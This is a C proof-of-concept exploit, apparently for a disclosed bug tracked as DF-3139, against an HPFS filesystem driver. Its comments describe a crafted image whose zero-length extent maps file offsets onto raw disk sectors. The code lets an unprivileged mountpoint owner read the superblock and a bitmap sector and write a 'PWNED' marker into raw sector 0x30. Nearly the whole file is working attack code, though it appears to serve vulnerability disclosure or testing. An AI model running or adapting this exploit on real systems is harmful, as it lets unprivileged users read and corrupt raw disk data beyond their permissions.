DF-3139 / poc.c
/* * DF-3139 PoC — unprivileged arbitrary-raw-sector read/write through an * al_len==0 ("infinite extent") HPFS alleaf. * * File layout crafted in the image: * leaf[0] = { al_off = 0x1000, al_len = 0, al_lsn = 0x10 } * fn_size = 0x400000 * * hpfs_hpbmap: bn >= 0x1000 && al_len==0 => *bnp = 0x10 + (bn - 0x1000) * * file offset 0x200000 (lbn 0x1000) -> raw sector 0x10 (SUPERBLOCK: read) * file offset 0x204000 (lbn 0x1020) -> raw sector 0x30 (bitmap-dir sector: * read, then WRITE a marker) * * Success criteria: * - pread @0x200000 returns the superblock magic 0xFA53E9C5F995E849 * - pread @0x204000 returns 0x00000038 (word stored at sector 0x30) * - pwrite @0x204000 succeeds; afterwards raw /dev/vn0 sector 0x30 * contains the marker (verified by run.sh as root via dd). * * Run as the unprivileged mountpoint owner: ./poc /tmp/hpfsmp/FILE */ #include <sys/fcntl.h> #include <err.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define OFF_SUPER 0x200000UL /* lbn 0x1000 -> sector 0x10 */ #define OFF_TARGET 0x204000UL /* lbn 0x1020 -> sector 0x30 */ int main(int argc, char **argv) { unsigned char buf[512]; const char *path; ssize_t n; int fd; unsigned long long m64; unsigned int m32; if (argc != 2) { fprintf(stderr, "usage: %s <file-on-crafted-hpfs>\n", argv[0]); return 2; } path = argv[1]; fd = open(path, O_RDWR); if (fd < 0) err(1, "open %s", path); /* --- arbitrary-sector READ: superblock (sector 0x10) --- */ n = pread(fd, buf, sizeof(buf), OFF_SUPER); if (n != sizeof(buf)) err(1, "pread superblock"); memcpy(&m64, buf, 8); printf("DF3139 read sector 0x10 via file offset 0x%lx: " "first8 = 0x%016llx (want su_magic 0xfa53e9c5f995e849)\n", OFF_SUPER, m64); /* --- arbitrary-sector READ: bitmap-dir sector 0x30 --- */ n = pread(fd, buf, sizeof(buf), OFF_TARGET); if (n != sizeof(buf)) err(1, "pread target"); memcpy(&m32, buf, 4); printf("DF3139 read sector 0x30 via file offset 0x%lx: " "first4 = 0x%08x (want 0x00000038)\n", OFF_TARGET, m32); /* --- arbitrary-sector WRITE: marker into sector 0x30 --- */ memset(buf, 0, sizeof(buf)); memcpy(buf, "DF3139-PWNED-RAW-SECTOR-WRITE", 29); n = pwrite(fd, buf, sizeof(buf), OFF_TARGET); printf("DF3139 write sector 0x30 via file offset 0x%lx: rc=%zd\n", OFF_TARGET, n); if (n != sizeof(buf)) err(1, "pwrite target"); /* read it back THROUGH THE FILE to prove the write landed */ n = pread(fd, buf, sizeof(buf), OFF_TARGET); if (n == sizeof(buf) && memcmp(buf, "DF3139-PWNED", 12) == 0) printf("DF3139 verified: file pread now returns our marker " "from raw sector 0x30\n"); close(fd); return 0; } |